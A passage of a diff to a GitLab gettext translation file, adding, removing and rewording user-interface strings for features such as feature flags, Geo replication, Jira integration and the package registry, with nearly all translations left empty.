msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "Informar os utilizadores sem enviar as chaves SSH que não podem empurrar através de SSH até que um seja adicionado"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr "Nenhum dado encontrado"
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
